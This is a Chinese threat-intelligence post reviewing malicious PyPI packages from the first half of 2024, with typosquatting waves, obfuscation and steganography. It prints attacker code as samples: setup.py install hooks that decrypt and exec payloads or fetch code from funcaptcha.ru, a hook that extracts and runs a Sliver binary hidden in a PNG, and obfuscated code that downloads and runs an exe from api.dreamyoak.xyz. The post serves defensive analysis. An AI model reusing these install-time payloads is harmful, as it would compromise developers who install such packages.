2024年,天问供应链威胁监测模块共检测出1000个恶意软件包,我们根据这些恶意包的攻击手法进行了简单的分类。一个恶意包可能同时使用了多种攻击手段,所以其会存在多种类型标签。
下图是这些恶意包的具体分类情况,由图中可知超过80%的恶意包都开始使用各种混淆方式来隐藏自身的真实攻击意图。各种代码混淆无疑会给安全人员快速分析溯源带来极其严峻的挑战。除此之外,我们可以看到无文件攻击的方式愈加受到攻击者的青睐。无文件攻击通常会收集受害者主机中的隐私信息,然后将这些数据回传到一个匿名网址,使得溯源工作变得十分困难。恶意文件下载和反向Shell也是较为常见的攻击手段。而模块替换、图片隐写这些攻击方式目前发现的数量相当较少,但他们的隐蔽性非常好,更加难以检测。此外,将PyPI滥用作云存储库的攻击事件在PyPI的集中整治下正在逐渐变少。
我们统计了这些恶意包在上半年的发布时间,由下图可知这些恶意包有两次比较集中的爆发期,分别为3月26号-27号和6月16号。在这两个时间段我们分别监控到586个和161个恶意包,第一次攻击事件也导致了PyPI官方紧急停止了软件包上传服务,相关事件报告可参考【天问】PyPI 大规模伪造包名攻击。我们通过对这两次攻击事件的恶意包代码内容的分析,判定这两次攻击事件出自同一个攻击者或攻击组织。
在第一次攻击事件中,攻击者批量发布了大规模使用了伪造包名的恶意包。例如我们之前报告中分析过的恶意包
requstss
,其模仿了流行包的名称requests
。这些恶意包的代码结构极为相近,均在steup.py中使用了Fernet加密的代码片段并用exec命令执行,如下所示:from
setuptools
import
setup, find_packages
from
setuptools.command.install
import
install
import
os
VERSION =
'1.0.0'
DESCRIPTION =
'YFqdzDnaUEbcMZAPL uXTNKyXRFkdxahHWuvijHmxKblIMVXuq'
LONG_DESCRIPTION =
'QUIZGtjBPQaps eaPdsMUJTYGXpnDHKVMUnKEGmGrYRATYFxDaJAinsVCQnHIQMMCDUTtUvPLjSsYbHOOPWuOpMZLHBWuaZwB dmZOYblwMYENvFtzCiDcHUKcNeXYkMxlksadnTMBLUBRyIvppmMNKxqBICFImVXLalsUYBINheUHRMOdkRruucJPTgDDBLkvDnoSJFIjTFKtIeLUosOh uoBEfLJTVQw opqEDYjCQdzUZUJuMWwAdEAMZRAnasGOanIdKNycUVAuTckhwFrgiUqfDyY'
class
GruppeInstall
(install)
:
def
run
(self)
:
import
os
if
os.name ==
"nt"
:
import
requests
from
fernet
import
Fernet
exec(Fernet(
b'EBjiyW0IuU6BYDGcO4qeB8piLtEszp6Qy3nIdoy-dpg='
).decrypt(
b'gAAAAABmA0bbhYYeLFxkKwlWInbwbtJ3Qqau_yXrjZdIoLbGBXGNhvc2eDBWOC5ze1ZEZACNwKCpm4MIZ8O03smYQ8XFGBCcS69OBSY5UY4KWz1llHM3nC8rjsLjt_K6etERuf7lu4msnVvMZVzoK0VxppKYBp6gojv2HSn9seQexnYZG05v7IuqHxXzYop0lB3upNzcWdmTysV0jH9QDElUM_xZpvpQG2bGcreo_jukTsYmZG0U6xw='
))
install.run(self)
setup(
...
cmdclass={
'install'
: GruppeInstall,
},
packages=find_packages(),
setup_requires=[
'fernet'
,
'requests'
],
...
)
在之前的分析报告中,我们已经解析过这个恶意包的实际攻击方法。它从远端服务器中下载恶意代码,并实现在本地持久化,开机自启动。
python
、ethereum
、web3
、web3.py
、opensea
。我们分析了其中一个伪造opensea
的恶意包openresa
,其setup.py
如下所示。
from
setuptools
import
setup, find_packages
from
setuptools.command.install
import
install
import
os
VERSION =
'1.0.0'
DESCRIPTION =
'jTsKpWrvfDcMmZE oUFqyjKIDSBmI AIzDjICVUVWkKvQRZpkzwQowwHb'
LONG_DESCRIPTION =
'jGJnzHWrWNqJjrOMChbjHgbRwxF ...'
class
IfdSTdhAwXDivUKTxPIjwToXqLqZPLTDZWlFUIIwrIZeQDqXXWVsPlbWdDKfDTZzQFlAgLZtPetEJEHaIhonCvGKlLy
(install)
:
def
run
(self)
:
import
os
if
os.name ==
"nt"
:
import
requests
from
fernet
import
Fernet
exec(Fernet(
b'rmWMgfN3kAXm-FVTyKF9hc7EEKwLtO5K7KlW2CpPF10='
).decrypt(
b'gAAAAABmbvVypX4vQXR20K30DK98MjG3xTp3zhlYKHIPWT9chxgWtuz7lFbBje0TrzMASxcKUYc3OSu4Q8zLcqaHs-5xvJSAwYHlqIw9M3QGTxlVtuZxci6b_p9EeSIYsAtTfFEsKcnhP4FeybhiRB5tU9PuJzNMTl3Qa_Zcx2v2G966yp6OgjZ6l5pDIr3bNmD16CBJf7jmzssZzPGKBrBOk0yVOxKebqgDXIL5be02J9Tfhd3Nbgg='
))
install.run(self)
...
exec
(requests.get(
'https://funcaptcha.ru/paste2?package=openresa'
).text.replace(
'<pre>'
,
''
).replace(
'</pre>'
,
''
))
funcaptcha.ru
。因此我们推断两起集中攻击事件均出自同一个攻击者/组织。攻击者的主要目的是窃取用户浏览器数据和加密货币信息。相较于第一次攻击,第二次明显针对性更强,模仿的流行包名几乎都是与加密货币相关的。我们从上半年的恶意包中选取了几个案例来讲解目前恶意包的一些典型攻击手法。
3.1 图片隐写
requests_darwin_lite-2.27.1.tar.gz
setup.py
...
class PyInstall(
install
):
def
run(
self
):
if
sys.platform !=
"darwin"
:
return
c = b64decode(
"aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U="
).decode()
raw
= subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
k = b64decode(
"SU9QbGF0Zm9ybVVVSUQ="
).decode()
uuid
=
raw
[raw.find(k)+
19
:raw.find(k)+
55
]
if
uuid
==
"08383A8F-DA4B-5783-A262-4DDC93169C52"
:
dest =
"docs/_static/requests-sidebar-large.png"
dest_dir =
"/tmp/go-build333212398/exe/"
with
open
(dest,
"rb"
)
as
fd:
content
= fd.read()
offset
=
306086
os.makedirs(dest_dir, exist_ok=
True
)
with
open
(dest_dir +
"output"
,
"wb"
)
as
fd:
fd.write(
content
[
offset
:])
os.chmod(dest_dir +
"output"
,
0
o755)
subprocess.Popen([dest_dir +
"output"
], close_fds=
True
, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
install.run(
self
)
...
setup(
...
cmdclass={
"install"
: PyInstall,
"test"
: PyTest,
},
...
)
ioreg -d2 -c IOPlatformExpertDevice
和IOPlatformExpertDevice
。第一个命令用于打印关于IOPlatformExpertDevice
类的顶级设备及其子设备信息,获取系统硬件配置。if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
dest = "docs/_static/requests-sidebar-large.png"
dest_dir = "/tmp/go-build333212398/exe/"
with
open
(dest,
"rb"
)
as
fd:
content
= fd.read()
offset
=
306086
os.makedirs(dest_dir, exist_ok=
True
)
with
open
(dest_dir +
"output"
,
"wb"
)
as
fd:
fd.write(
content
[
offset
:])
requests-sidebar-large.png
图片中的字节流信息,并将其中特定部分写入output
文件中。requests-sidebar-large.png
的文件大小要远超正常png图片的大小,使用hexdump
查看对比两个图片的16进制数据,如下所示。os.chmod(dest_dir +
"output"
,
0
o755)
subprocess.Popen([dest_dir +
"output"
], close_fds=True,
stderr
=subprocess.DEVNULL,
stdout
=subprocess.DEVNULL)
install.run(self)
随后攻击者赋予output
二进制文件执行权限并执行。这个二进制文件经过VirusTotal判别为Sliver,一个开源的C2框架,GitHub中项目地址为https://github.com/BishopFox/sliver
setup(
...
cmdclass={
"install"
: PyInstall,
"test"
: PyTest,
},
...
)
setuptools
中的cmdclass,用自定义的安装函数PyInstall
覆盖了默认的安装函数,实现了安装时攻击。3.2 恶意文件下载
argsreq-2.0-py3-none-any.whl
__init__.py
...
def
main
()
:
try
:
𝙉𝘔𝘭𝘭𝘔𝙈𝗡𝗡𝙡𝘔𝗹𝙄𝙉𝘔𝗜𝗹𝘭𝘕𝙉𝘐𝙈𝙡𝙈𝗠𝙄𝘕𝙈𝘐𝘕𝙈𝙄𝘕 = [
'https://api.dreamyoak.xyz/cdn/file.exe'
,
'windows.exe'
,
'wb'
]
𝙪𝙧𝘭 = 𝘕𝙈𝘭𝘭𝘔𝘔𝙉𝘕𝗹𝘔𝙡𝗜𝘕𝘔𝘐𝙡𝙡𝗡𝙉𝘐𝘔𝘭𝙈𝘔𝙄𝙉𝘔𝗜𝙉𝗠𝙄𝗡[
0
]
𝘳𝙚𝘀𝗽𝗼𝗻𝘀𝘦 = 𝗿𝗲𝙦𝘂𝙚𝘀𝘁𝘀.get(𝘶𝗿𝗹)
𝙩𝘦𝗺𝗽_𝙙𝗶𝗿 = 𝘵𝗲𝙢𝘱𝗳𝘪𝘭𝘦.gettempdir()
𝗲𝘅𝗲_𝗽𝗮𝘵𝙝 = 𝗼𝘀.path.join(𝙩𝘦𝗺𝘱_𝗱𝙞𝘳, 𝘕𝙈𝙡𝘭𝘔𝙈𝗡𝗡𝙡𝘔𝙡𝘐𝙉𝗠𝙄𝘭𝙡𝙉𝘕𝘐𝗠𝙡𝘔𝘔𝗜𝘕𝙈𝗜𝘕𝘔𝙄𝙉[
1
])
with
𝘰𝗽𝗲𝙣(𝘦𝘹𝗲_𝗽𝗮𝘁𝗵, 𝘕𝘔𝘭𝘭𝙈𝘔𝘕𝗡𝗹𝘔𝗹𝘐𝗡𝗠𝙄𝘭𝘭𝗡𝘕𝗜𝙈𝙡𝗠𝙈𝘐𝗡𝙈𝙄𝘕𝗠𝙄𝘕[
2
])
as
𝙛𝙞𝗹𝙚:
𝙛𝙞𝗹𝗲.write(𝗿𝙚𝘴𝘱𝘰𝙣𝘀𝙚.content)
if
𝙤𝙨.path.exists(𝘦𝘹𝗲_𝘱𝗮𝙩𝙝):
𝘴𝙪𝗯𝘱𝙧𝙤𝙘𝗲𝙨𝙨.call([𝙚𝘹𝗲_𝘱𝘢𝙩𝗵])
except
:
pass
main()
...
__init__.py
中插入了一个main
函数,并直接执行。其从远端服务器https://api.dreamyoak.xyz/cdn
下载了file.exe
文件,并改名为windows.exe
,最后执行了这个exe文件。3.3 资源滥用
shujujiegou-yu-suanfa-fenxi-xuexi-biji-luocong-2024.3.2.0.tar.gz
setup.py
...
setuptools.setup(
name
=
"shujujiegou-yu-suanfa-fenxi-xuexi-biji-luocong",
version
=
ShujujiegouYuSuanfaFenxiXuexiBijiLuocong.__version__,
url
=
"https://github.com/apachecn/shujujiegou-yu-suanfa-fenxi-xuexi-biji-luocong",
...
description
=
"数据结构与算法分析学习笔记(罗聪)",
...
)
https://github.com/apachecn/
从2024年上半年的恶意包攻击事件中,我们可以看到虽然PyPI遭遇了两次集中大规模的恶意包攻击事件。但整体趋势较为平稳,恶意包均为零星出现。在两次集中攻击事件中,PyPI官方也能及时反应,将攻击事件的影响范围尽可能缩小。这也导致攻击者在PyPI平台发布恶意包获取收益的时间窗口被不断压缩,成本在不断增加。官方的代码查看平台以及反馈接口给予了广大开发者参与维护PyPI生态安全的快捷手段,其使得恶意包的攻击难度在不断提升。
原文始发于微信公众号(奇安信技术研究院):天问 | PyPI 2024年上半年恶意包回顾
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论